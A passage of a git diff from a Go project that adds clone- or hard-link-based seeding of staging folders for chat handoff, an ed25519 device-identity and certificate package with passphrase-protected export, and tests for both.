+ return linkSymlink(from, to) + case d.Type().IsRegular(): + return linkFile(from, to) == nil + } + return false +} + +func linkSymlink(from, to string) bool { + target, err := os.Readlink(from) + if err != nil || os.Symlink(target, to) != nil { + return false + } + info, err := os.Lstat(from) + return err == nil && setSymlinkTime(to, info.ModTime()) +} + +// settleDirs gives each seeded folder the mode and time of its original. It +// runs last and deepest first because making an entry in a folder moves its +// time, and a folder whose mode forbids writing could not be filled. +func settleDirs(src, dst string, dirs []string) { + for i := len(dirs) - 1; i >= 0; i-- { + info, err := os.Stat(filepath.Join(src, dirs[i])) + if err != nil { + continue + } + to := filepath.Join(dst, dirs[i]) + _ = os.Chmod(to, info.Mode().Perm()|info.Mode()&(os.ModeSetuid|os.ModeSetgid|os.ModeSticky)) + _ = os.Chtimes(to, info.ModTime(), info.ModTime()) + } +} diff --git a/internal/handoff/seed_clone_darwin.go b/internal/handoff/seed_clone_darwin.go new file mode 100644 index 0000000000..a6ab5589d4 --- /dev/null +++ b/internal/handoff/seed_clone_darwin.go @@ -0,0 +1,10 @@ +package handoff + +import "golang.org/x/sys/unix" + +// cloneTreeOnPlatform clones the tree with APFS's clonefile, which copies a +// folder and everything in it by reference. CLONE_NOFOLLOW keeps a link at the +// top from being followed out of the tree. It fails across volumes. +func cloneTreeOnPlatform(src, dst string) error { + return unix.Clonefile(src, dst, unix.CLONE_NOFOLLOW) +} diff --git a/internal/handoff/seed_clone_darwin_test.go b/internal/handoff/seed_clone_darwin_test.go new file mode 100644 index 0000000000..de0787e6ad --- /dev/null +++ b/internal/handoff/seed_clone_darwin_test.go @@ -0,0 +1,40 @@ +//go:build darwin + +package handoff + +import ( + "os" + "path/filepath" + "testing" +) + +// TestSeedCloneOnAPFSGivesFilesOfItsOwnThatKeepTheirTimes: the real clone +// makes the staging tree equal to the held one, with a file of its own for +// every file, so a write into the held tree does not reach the staging tree. +func TestSeedCloneOnAPFSGivesFilesOfItsOwnThatKeepTheirTimes(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b", identityDir + "/workspace": "id"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = cloneTreeOnPlatform + + seedFrom(src, dst) + + if got := tree(t, dst); got["a.txt"] != "a" || got["d/b.txt"] != "b" { + t.Fatalf("staging = %v, want the held tree", got) + } + if os.SameFile(stat(t, filepath.Join(src, "a.txt")), stat(t, filepath.Join(dst, "a.txt"))) { + t.Fatal("a cloned file is the same file as its source") + } + if !stat(t, filepath.Join(dst, "d/b.txt")).ModTime().Equal(stat(t, filepath.Join(src, "d/b.txt")).ModTime()) { + t.Fatal("a cloned file lost its time") + } + if err := os.WriteFile(filepath.Join(src, "a.txt"), []byte("edited"), 0o644); err != nil { + t.Fatal(err) + } + if got := tree(t, dst)["a.txt"]; got != "a" { + t.Fatalf("a write into the held tree reached the staging tree: %q", got) + } + if exists(filepath.Join(dst, identityDir)) { + t.Fatal("identity folder cloned") + } +} diff --git a/internal/handoff/seed_clone_other.go b/internal/handoff/seed_clone_other.go new file mode 100644 index 0000000000..dbbf5da097 --- /dev/null +++ b/internal/handoff/seed_clone_other.go @@ -0,0 +1,10 @@ +//go:build !darwin + +package handoff + +import "syscall" + +// cloneTreeOnPlatform reports that this platform has no whole-tree clone, so a +// seed is made of hard links, which Linux makes at the same cost as any file +// creation and which the engine never writes through. +func cloneTreeOnPlatform(string, string) error { return syscall.ENOTSUP } diff --git a/internal/handoff/seed_test.go b/internal/handoff/seed_test.go new file mode 100644 index 0000000000..bf5624ff3c --- /dev/null +++ b/internal/handoff/seed_test.go @@ -0,0 +1,121 @@ +package handoff + +import ( + "errors" + "os" + "path/filepath" + "syscall" + "testing" +) + +// stat reads a file of the device's root, failing the test when it is absent. +func stat(t *testing.T, path string) os.FileInfo { + t.Helper() + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + return info +} + +// The tests of the hard-link seed run on every platform, so they pin the tier +// they test: a platform that clones would otherwise skip it. +func init() { cloneTree = refuseClone } + +func refuseClone(string, string) error { return syscall.EXDEV } + +// writeTree makes the files of a small tree and answers its root. +func writeTree(t *testing.T, files map[string]string) string { + t.Helper() + root := t.TempDir() + for rel, body := range files { + p := filepath.Join(root, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + return root +} + +func emptyStage(t *testing.T) string { + t.Helper() + stage := filepath.Join(t.TempDir(), "stage") + if err := os.Mkdir(stage, 0o700); err != nil { + t.Fatal(err) + } + return stage +} + +// copyTree stands in for a filesystem clone: it makes dst, which must not +// exist, hold a copy of src, and it counts its calls. +func copyTree(calls *int) func(src, dst string) error { + return func(src, dst string) error { + *calls++ + return os.CopyFS(dst, os.DirFS(src)) + } +} + +// TestSeedClonesTheWholeTreeInOneCallAndDropsTheIdentity: where the filesystem +// clones, one call seeds the staging folder, no per-file link is made, and the +// engine's identity folder, which a clone carries along, is not left in it. +func TestSeedClonesTheWholeTreeInOneCallAndDropsTheIdentity(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b", identityDir + "/workspace": "id"}) + dst, calls := emptyStage(t), 0 + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = copyTree(&calls) + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = func(string, string) error { t.Fatal("a file was linked after the clone worked"); return nil } + + seedFrom(src, dst) + + if calls != 1 { + t.Fatalf("clone called %d times, want 1", calls) + } + if got := tree(t, dst); got["a.txt"] != "a" || got["d/b.txt"] != "b" { + t.Fatalf("staging = %v, want the held tree", got) + } + if exists(filepath.Join(dst, identityDir)) { + t.Fatal("the engine's identity folder was cloned into the staging folder") + } +} + +// TestSeedFallsBackToLinksWhenTheCloneIsRefused: a clone across volumes fails, +// the staging folder is again the empty folder it was, and the hard-link seed +// fills it, so the take is whole on a filesystem that cannot clone. +func TestSeedFallsBackToLinksWhenTheCloneIsRefused(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = func(_, to string) error { + _ = os.Mkdir(to, 0o700) // a refusal that left a half-made folder behind + return &os.LinkError{Op: "clonefile", Err: syscall.EXDEV} + } + + seedFrom(src, dst) + + if !os.SameFile(stat(t, filepath.Join(src, "d/b.txt")), stat(t, filepath.Join(dst, "d/b.txt"))) { + t.Fatal("the fallback did not hard-link the files") + } + if got := stat(t, dst).Mode().Perm(); got != stat(t, src).Mode().Perm() { + t.Fatalf("staging folder mode %v, want the held tree's", got) + } +} + +// TestSeedLeavesAnEmptyFolderWhenNothingCanSeedIt: a clone that is refused and +// a link that is refused leave the folder empty and usable, never absent. +func TestSeedLeavesAnEmptyFolderWhenNothingCanSeedIt(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = func(string, string) error { return errors.New("refused") } + + seedFrom(src, dst) + + entries, err := os.ReadDir(dst) + if err != nil || len(entries) != 0 { + t.Fatalf("staging = %v, %v; want an empty folder", entries, err) + } +} diff --git a/internal/handoff/symlinktime_unix.go b/internal/handoff/symlinktime_unix.go new file mode 100644 index 0000000000..6a2f57da19 --- /dev/null +++ b/internal/handoff/symlinktime_unix.go @@ -0,0 +1,15 @@ +//go:build !windows + +package handoff + +import ( + "time" + + "golang.org/x/sys/unix" +) + +// setSymlinkTime preserves the link itself without touching its target. +func setSymlinkTime(path string, at time.Time) bool { + ts := unix.NsecToTimespec(at.UnixNano()) + return unix.UtimesNanoAt(unix.AT_FDCWD, path, []unix.Timespec{ts, ts}, unix.AT_SYMLINK_NOFOLLOW) == nil +} diff --git a/internal/handoff/symlinktime_windows.go b/internal/handoff/symlinktime_windows.go new file mode 100644 index 0000000000..bf1cac5104 --- /dev/null +++ b/internal/handoff/symlinktime_windows.go @@ -0,0 +1,6 @@ +package handoff + +import "time" + +// setSymlinkTime declines this optional seed on Windows. Touching a link's target would change the original tree. +func setSymlinkTime(string, time.Time) bool { return false } diff --git a/internal/handoff/warm_test.go b/internal/handoff/warm_test.go new file mode 100644 index 0000000000..814c6fd320 --- /dev/null +++ b/internal/handoff/warm_test.go @@ -0,0 +1,267 @@ +//go:build !windows + +package handoff + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "syscall" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// TestWarmTakeWritesOnlyTheChangedFile: a device that holds the chat at an +// older head keeps every file the new head did not change as the very same +// file, and only the changed path is a new file. +func TestWarmTakeWritesOnlyTheChangedFile(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + keep, edit := stat(t, filepath.Join(a.root(chatID), "keep.txt")), stat(t, filepath.Join(a.root(chatID), "edit.txt")) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if got := tree(t, taken.Cell.Root); got["edit.txt"] != "new" || got["keep.txt"] != "same" { + t.Fatalf("root = %v, want the new head", got) + } + if !os.SameFile(keep, stat(t, filepath.Join(taken.Cell.Root, "keep.txt"))) { + t.Fatal("an unchanged file was rewritten") + } + if os.SameFile(edit, stat(t, filepath.Join(taken.Cell.Root, "edit.txt"))) { + t.Fatal("the changed file is still the old file") + } +} + +// TestWarmTakeRemovesWhatTheHeadDropped: a path the new head no longer holds +// is gone from the taken tree, though the staging folder started as a copy. +func TestWarmTakeRemovesWhatTheHeadDropped(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"gone.txt": "x", "old/name.txt": "moved"}) + b.work(map[string]string{"a.txt": "one", "new/name.txt": "moved"}) + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + got := tree(t, taken.Cell.Root) + if _, ok := got["gone.txt"]; ok || got["new/name.txt"] != "moved" { + t.Fatalf("root = %v, want gone.txt removed and the rename applied", got) + } + if _, ok := got[filepath.Join("old", "name.txt")]; ok { + t.Fatalf("root = %v, the old name of a renamed file is still there", got) + } +} + +// TestTakeBackOfAnUnchangedChatWritesNothing: taking a chat back at the head +// this device already holds leaves every file as it was. +func TestTakeBackOfAnUnchangedChatWritesNothing(t *testing.T) { + _, a, _ := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"a.txt": "one", "b.txt": "from b"}) + before := map[string]os.FileInfo{} + for name := range tree(t, a.root(chatID)) { + before[name] = stat(t, filepath.Join(a.root(chatID), name)) + } + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + for name, info := range before { + if !os.SameFile(info, stat(t, filepath.Join(taken.Cell.Root, name))) { + t.Fatalf("%s was rewritten by a take that changes nothing", name) + } + } +} + +// TestWarmTakeThatFailsLeavesTheOldRootWhole: a take that dies after the +// staging folder was filled must not have touched a byte of the root, though +// the two folders share their unchanged files. +func TestWarmTakeThatFailsLeavesTheOldRootWhole(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "b.txt": "from b", "edit.txt": "new"}) + before := tree(t, a.root(chatID)) + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + + if _, err := a.taker().Take(context.Background(), chatID); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("root = %v, was %v: the failed take reached the root", got, before) + } +} + +// TestSeedKeepsLinksModesAndSymlinks is the copy a warm take starts from. +func TestSeedKeepsLinksModesAndSymlinks(t *testing.T) { + src, dst := t.TempDir(), filepath.Join(t.TempDir(), "stage") + write := func(rel, body string, mode os.FileMode) { + p := filepath.Join(src, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), mode); err != nil { + t.Fatal(err) + } + } + write("d/run.sh", "#!/bin/sh", 0o755) + write(identityDir+"/workspace", "id", 0o600) + if err := os.Symlink("d/run.sh", filepath.Join(src, "ln")); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(dst, 0o700); err != nil { + t.Fatal(err) + } + + seedFrom(src, dst) + + if !os.SameFile(stat(t, filepath.Join(src, "d/run.sh")), stat(t, filepath.Join(dst, "d/run.sh"))) { + t.Fatal("a regular file is not a hard link") + } + if got, err := os.Readlink(filepath.Join(dst, "ln")); err != nil || got != "d/run.sh" { + t.Fatalf("symlink = %q, %v", got, err) + } + if stat(t, filepath.Join(dst, "d/run.sh")).Mode() != 0o755 { + t.Fatal("file mode changed") + } + if _, err := os.Stat(filepath.Join(dst, identityDir)); !os.IsNotExist(err) { + t.Fatalf("the engine's identity folder was copied (%v)", err) + } + if !stat(t, filepath.Join(dst, "d")).ModTime().Equal(stat(t, filepath.Join(src, "d")).ModTime()) { + t.Fatal("folder time not kept") + } +} + +// TestSeedFromNothingLeavesTheFolderEmpty is the cold take. +func TestSeedFromNothingLeavesTheFolderEmpty(t *testing.T) { + dst := t.TempDir() + seedFrom(filepath.Join(t.TempDir(), "absent"), dst) + if entries, _ := os.ReadDir(dst); len(entries) != 0 { + t.Fatalf("staging holds %d entries after a cold seed", len(entries)) + } +} + +// TestWarmTakeAcrossFilesystemsFallsBackToCopy: when the filesystem refuses +// the hard link (the staging folder is on another device than the held tree) +// nothing is seeded, the engine writes every file, and the take is whole while +// the held tree is untouched. +func TestWarmTakeAcrossFilesystemsFallsBackToCopy(t *testing.T) { + refused := func(string, string) error { return &os.LinkError{Op: "link", Err: syscall.EXDEV} } + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = refused + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + held := stat(t, filepath.Join(a.root(chatID), "keep.txt")) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + got := tree(t, taken.Cell.Root) + if got["keep.txt"] != "same" || got["edit.txt"] != "new" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want the new head", got) + } + if os.SameFile(held, stat(t, filepath.Join(taken.Cell.Root, "keep.txt"))) { + t.Fatal("a refused link still produced a shared file") + } +} + +// TestSeededFileChangedInPlaceIsRepairedByTheRestore: a write made in place to +// a held file after seeding changes the staged file too, because they are one +// inode. The restore compares content, never a cache of what was seeded, so it +// replaces that file by a new one: the taken tree holds the head and the held +// tree keeps only its own edit. +func TestSeededFileChangedInPlaceIsRepairedByTheRestore(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same"}) + head := b.work(map[string]string{"keep.txt": "same"}) + held := filepath.Join(a.root(chatID), "keep.txt") + stage := cell.Cell{ID: chatID, Root: stagingOf(a.root(chatID))} + if err := os.MkdirAll(stage.Root, 0o700); err != nil { + t.Fatal(err) + } + seedFrom(a.root(chatID), stage.Root) + if err := os.WriteFile(held, []byte("edited in place"), 0o600); err != nil { + t.Fatal(err) + } + + if err := a.taker().Fetch.Fetch(context.Background(), stage, head); err != nil { + t.Fatal(err) + } + + if got := tree(t, stage.Root)["keep.txt"]; got != "same" { + t.Fatalf("taken keep.txt = %q, the in-place edit leaked through the shared file", got) + } + if got := tree(t, a.root(chatID))["keep.txt"]; got != "edited in place" { + t.Fatalf("held keep.txt = %q, the restore wrote into the held file", got) + } +} + +// TestTakeLeavesNoSecondNameForAnyFile: once the staging folder replaced the +// root, the old root is gone, so no file of the taken tree has another name +// and a later in-place write there cannot reach any other tree. +func TestTakeLeavesNoSecondNameForAnyFile(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same"}) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + links := stat(t, filepath.Join(taken.Cell.Root, "keep.txt")).Sys().(*syscall.Stat_t).Nlink + if links != 1 { + t.Fatalf("keep.txt has %d names after the swap, want 1", links) + } + for _, leftover := range []string{taken.Cell.Root + ".replaced", taken.Cell.Root + ".taking"} { + if exists(leftover) { + t.Fatalf("%s survived the take", leftover) + } + } +} + +// TestCrashAfterSeedingLeavesTheHeldTreeWhole: a process that dies once the +// staging folder is seeded and fetched, before the swap, leaves the held tree +// byte for byte as it was (the engine never writes a shared file), and the +// next take discards what the crash left and succeeds. +func TestCrashAfterSeedingLeavesTheHeldTreeWhole(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + head := b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + before := tree(t, a.root(chatID)) + a.local.dirty = false + stage := cell.Cell{ID: chatID, Root: stagingOf(a.root(chatID))} + + // The claim runs as far as the staging folder and stops: no install. + if _, _, _, err := a.taker().fetchAndAcquire(context.Background(), stage, a.root(chatID), head, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("held tree = %v, was %v", got, before) + } + if got := tree(t, stage.Root); got["edit.txt"] != "new" { + t.Fatalf("the crash left staging = %v, want the new head to be there", got) + } + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatalf("the take after the crash: %v", err) + } + if got := tree(t, taken.Cell.Root); got["edit.txt"] != "new" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want the new head", got) + } +} diff --git a/internal/iconlaw/iconlaw_test.go b/internal/iconlaw/iconlaw_test.go index e4bdb4be9e..90cc5beaaa 100644 --- a/internal/iconlaw/iconlaw_test.go +++ b/internal/iconlaw/iconlaw_test.go @@ -19,6 +19,7 @@ package iconlaw import ( + "github.com/Agent-Field/codeaf/internal/tui2/tokens" "go/ast" "go/parser" "go/token" @@ -46,6 +47,7 @@ import ( // nothing but this test stands between it and its own private spelling of the // flag. var surfaces = []string{ + "../atlas", // C16 holds the architecture map to the same vocabulary. "../tui3", // v3, the live chat "../head", // the resident's head "../resident", // the resident itself @@ -153,6 +155,13 @@ func TestNoSurfaceSpellsAnIconItself(t *testing.T) { continue } slot, owned := ownedRunes[r] + if surface == "../atlas" { + for _, b := range tokens.Vocabulary() { + if !b.Geometry && b.Plain == string(r) && r > 127 { + slot, owned = "tokens.GlyphSet.Glyph("+b.Name+")", true + } + } + } if !owned { continue } diff --git a/internal/identity/device.go b/internal/identity/device.go new file mode 100644 index 0000000000..3ac06408fc --- /dev/null +++ b/internal/identity/device.go @@ -0,0 +1,120 @@ +package identity + +import ( + "crypto/ed25519" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + "time" +) + +// DeviceFile holds this machine's device key and its certificate. It is never +// exported: the root identity travels, the device does not. +const DeviceFile = "device.json" + +const certLabel = "codeaf/device-cert/v1\n" + +// Cert is the identity's signature over one device: its public key and when it +// was made. It carries no name, because a relay reads it in a request header; +// the device's name lives only sealed in the directory record. It is what a relay checks to tell devices of one identity +// apart, and what would let a lost one be dropped. +type Cert struct { + V uint16 `json:"V"` + Device string `json:"device"` // device public key, hex + Made int64 `json:"created"` // unix ms + Sig string `json:"sig"` // hex ed25519 over the other fields +} + +// body is what the signature covers: the cert without its signature. +func (c Cert) body() []byte { + c.Sig = "" + raw, _ := json.Marshal(c) + return append([]byte(certLabel), raw...) +} + +// Verify checks the cert was signed by the identity owning identityKey. +func (c Cert) Verify(identityKey ed25519.PublicKey) error { + sig, err := hex.DecodeString(c.Sig) + if err != nil || !ed25519.Verify(identityKey, c.body(), sig) { + return errors.New("identity: device certificate does not verify") + } + return nil +} + +// DeviceID is "dev_" and 32 hex characters of the hash of the device key. +func (c Cert) DeviceID() string { + pub, _ := hex.DecodeString(c.Device) + sum := sha256.Sum256(pub) + return "dev_" + hex.EncodeToString(sum[:16]) +} + +// Dev is this machine's device: its key and the cert the identity signed. +type Dev struct { + Cert Cert + seed key +} + +// ID is the device id. +func (d Dev) ID() string { return d.Cert.DeviceID() } + +// Sign signs msg with the device key. +func (d Dev) Sign(msg []byte) []byte { return ed25519.Sign(ed25519.NewKeyFromSeed(d.seed[:]), msg) } + +// deviceDocument is the persisted form. +type deviceDocument struct { + V uint16 `json:"V"` + Seed string `json:"device_seed"` + Cert Cert `json:"cert"` +} + +// Device returns this machine's device under its identity, making either on +// first use. +func Device(home string) (Dev, error) { + id, err := Ensure(home) + if err != nil { + return Dev{}, err + } + return deviceFor(home, id) +} + +// deviceFor returns the stored device when its cert verifies under id, else a +// fresh device. A replaced identity therefore never keeps a stale device. +func deviceFor(home string, id Identity) (Dev, error) { + if d, err := loadDevice(home); err == nil && d.Cert.Verify(id.PublicKey()) == nil { + return d, nil + } + d, err := newDevice(id) + if err != nil { + return Dev{}, err + } + return d, write(filepath.Join(home, DeviceFile), d.document(), fsreplace.Rename) +} + +func newDevice(id Identity) (Dev, error) { + seed, err := randomKey() + if err != nil { + return Dev{}, err + } + return Seed{seed: seed}.Join(IssueCert(id, Seed{seed: seed}.Public(), time.Now())) +} + +func (d Dev) document() deviceDocument { + return deviceDocument{V: version, Seed: hex.EncodeToString(d.seed[:]), Cert: d.Cert} +} + +func loadDevice(home string) (Dev, error) { + raw, err := os.ReadFile(filepath.Join(home, DeviceFile)) + if err != nil { + return Dev{}, err + } + var doc deviceDocument + if err := json.Unmarshal(raw, &doc); err != nil { + return Dev{}, err + } + d := Dev{Cert: doc.Cert} + return d, decodeKey(doc.Seed, &d.seed) +} diff --git a/internal/identity/doc.go b/internal/identity/doc.go new file mode 100644 index 0000000000..378822a641 --- /dev/null +++ b/internal/identity/doc.go @@ -0,0 +1,19 @@ +// Package identity is the one person-level root on a machine. +// +// An identity is three independent 32-byte secrets kept in one file, +// identity.json, mode 0600 in the codeaf home, outside every workspace: +// +// - a signing seed (ed25519) whose public key names the person to the +// directory; the public id is a hash of that key; +// - a dedup secret, the input of the convergent chunk keys; +// - the cell key, which in Stage 1 is the one key every cell names (the +// degenerate derivation, ARCHITECTURE section 9). +// +// There is no account. A second machine gets the same identity by importing a +// passphrase-wrapped export (argon2id, XChaCha20-Poly1305); the public id and +// cell_key_id then match on both. Each machine also holds its own device key +// (device.go) that never leaves it; the identity signs a certificate for it. The vault in internal/keys seals under the +// cell key, so there is exactly one root secret. An older machine's vault.key +// becomes the cell key the first time an identity is created there, so its +// vault keeps decrypting. +package identity diff --git a/internal/identity/identity.go b/internal/identity/identity.go new file mode 100644 index 0000000000..d6cf78cbd6 --- /dev/null +++ b/internal/identity/identity.go @@ -0,0 +1,134 @@ +package identity + +import ( + "crypto/ed25519" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" +) + +const ( + version = 1 + keySize = 32 +) + +type key [keySize]byte + +// Identity is one person's root secrets. The zero value is not an identity. +type Identity struct { + seed key + dedup key + cell key +} + +// document is the persisted form: every secret as 64 hex characters. +type document struct { + V uint16 `json:"V"` + SigningSeed string `json:"signing_seed"` + DedupSecret string `json:"dedup_secret"` + CellKey string `json:"cell_key"` +} + +func (i Identity) document() document { + return document{V: version, SigningSeed: hex.EncodeToString(i.seed[:]), + DedupSecret: hex.EncodeToString(i.dedup[:]), CellKey: hex.EncodeToString(i.cell[:])} +} + +func fromDocument(d document) (Identity, error) { + if d.V != version { + return Identity{}, fmt.Errorf("identity: unsupported version %d", d.V) + } + var id Identity + fields := []struct { + text string + into *key + }{{d.SigningSeed, &id.seed}, {d.DedupSecret, &id.dedup}, {d.CellKey, &id.cell}} + for _, f := range fields { + if err := decodeKey(f.text, f.into); err != nil { + return Identity{}, err + } + } + return id, nil +} + +func decodeKey(text string, into *key) error { + raw, err := hex.DecodeString(text) + if err != nil || len(raw) != keySize { + return errors.New("identity: a secret is not 32 bytes of hex") + } + copy(into[:], raw) + return nil +} + +func randomKey() (key, error) { + var k key + _, err := rand.Read(k[:]) + return k, err +} + +// generate makes a fresh identity around the given cell key. +func generate(cell key) (Identity, error) { + seed, err1 := randomKey() + dedup, err2 := randomKey() + return Identity{seed: seed, dedup: dedup, cell: cell}, errors.Join(err1, err2) +} + +// PublicKey is the ed25519 key the directory verifies signatures against. +func (i Identity) PublicKey() ed25519.PublicKey { + return ed25519.NewKeyFromSeed(i.seed[:]).Public().(ed25519.PublicKey) +} + +// Sign signs msg with the identity's signing key. +func (i Identity) Sign(msg []byte) []byte { + return ed25519.Sign(ed25519.NewKeyFromSeed(i.seed[:]), msg) +} + +// ID is the public identity id: "id_" and 32 hex characters of the hash of the +// public key. +func (i Identity) ID() string { + sum := sha256.Sum256(i.PublicKey()) + return "id_" + hex.EncodeToString(sum[:16]) +} + +// Fingerprint is a short form of the id to compare by eye: four groups of four +// hex characters. +func (i Identity) Fingerprint() string { + sum := sha256.Sum256(i.PublicKey()) + s := hex.EncodeToString(sum[:8]) + return fmt.Sprintf("%s-%s-%s-%s", s[0:4], s[4:8], s[8:12], s[12:16]) +} + +// CellKey is the key that seals structure and the vault in Stage 1. +func (i Identity) CellKey() []byte { return append([]byte(nil), i.cell[:]...) } + +// DedupSecret is the input of the convergent chunk keys. +func (i Identity) DedupSecret() []byte { return append([]byte(nil), i.dedup[:]...) } + +// CellKeyID names a cell key: the first 16 bytes of its SHA-256 as 32 hex +// characters, the shape of meta.cell_key_id. +func CellKeyID(cellKey []byte) string { + sum := sha256.Sum256(cellKey) + return hex.EncodeToString(sum[:16]) +} + +// CellKeyID names this identity's cell key. +func (i Identity) CellKeyID() string { return CellKeyID(i.cell[:]) } + +// Marshal is the identity as one document in memory, for a moment when it must +// cross a channel the caller has already made private (a pairing). Nothing here +// touches the disk: Save is still the only way an identity reaches a file, and +// a caller that holds this output holds every secret the identity has. +func (i Identity) Marshal() ([]byte, error) { return json.Marshal(i.document()) } + +// Unmarshal reads a document Marshal made, refusing anything that is not a +// whole, current identity so that a half-received grant cannot be adopted. +func Unmarshal(raw []byte) (Identity, error) { + var d document + if err := json.Unmarshal(raw, &d); err != nil { + return Identity{}, fmt.Errorf("identity: not an identity document: %w", err) + } + return fromDocument(d) +} diff --git a/internal/identity/identity_test.go b/internal/identity/identity_test.go new file mode 100644 index 0000000000..6b9a0ce6cf --- /dev/null +++ b/internal/identity/identity_test.go @@ -0,0 +1,216 @@ +package identity + +import ( + "crypto/ed25519" + "encoding/hex" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +func init() { cost = wrapped{Time: 1, MemKiB: 64, Threads: 1} } // fast tests + +func sample() Identity { + var id Identity + for i := range id.seed { + id.seed[i], id.dedup[i], id.cell[i] = byte(i), byte(0x40+i), byte(0x80+i) + } + return id +} + +func TestGoldenIdentityFile(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "identity.golden.json"), sample().document()) +} + +func TestGoldenExport(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "export.golden.json"), wrapped{V: 1, KDF: kdfName, Time: 3, MemKiB: 65536, + Threads: 4, Salt: "00112233445566778899aabbccddeeff", Nonce: "00112233445566778899aabbccddeeff0011223344556677", Data: "cafe"}) +} + +func TestEnsureIsStableAndPrivate(t *testing.T) { + home := filepath.Join(t.TempDir(), "home") + a, err := Ensure(home) + if err != nil { + t.Fatal(err) + } + b, err := Ensure(home) + if err != nil || a.ID() != b.ID() || a.CellKeyID() != b.CellKeyID() { + t.Fatalf("second Ensure differs: %v", err) + } + if info, err := os.Stat(filepath.Join(home, File)); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("identity file: %v %v", info, err) + } + if entries, _ := os.ReadDir(home); len(entries) != 2 { + t.Fatalf("temp files left behind: %v", entries) + } +} + +func TestIdentityShape(t *testing.T) { + id := sample() + if len(id.ID()) != 35 || len(id.Fingerprint()) != 19 || len(id.CellKeyID()) != 32 { + t.Fatalf("shapes: %s %s %s", id.ID(), id.Fingerprint(), id.CellKeyID()) + } + msg := []byte("hello") + if !ed25519.Verify(id.PublicKey(), msg, id.Sign(msg)) { + t.Fatal("signature does not verify") + } +} + +func TestExportImportOnSecondHome(t *testing.T) { + first, _ := Ensure(t.TempDir()) + blob, err := Export(first, "correct horse") + if err != nil { + t.Fatal(err) + } + second := t.TempDir() + got, err := Import(blob, "correct horse") + if err != nil { + t.Fatal(err) + } + if _, err := Adopt(second, got, false); err != nil { + t.Fatal(err) + } + loaded, _ := Load(second) + if loaded.ID() != first.ID() || loaded.CellKeyID() != first.CellKeyID() || string(loaded.DedupSecret()) != string(first.DedupSecret()) { + t.Fatal("second machine does not hold the same identity") + } +} + +func TestWrongPassphraseAndDamageRefused(t *testing.T) { + blob, _ := Export(sample(), "right") + if _, err := Import(blob, "wrong"); !errors.Is(err, ErrWrongPassphrase) { + t.Fatalf("wrong passphrase: %v", err) + } + if _, err := Import([]byte(`{"V":1}`), "right"); err == nil { + t.Fatal("accepted a non-export") + } + if _, err := 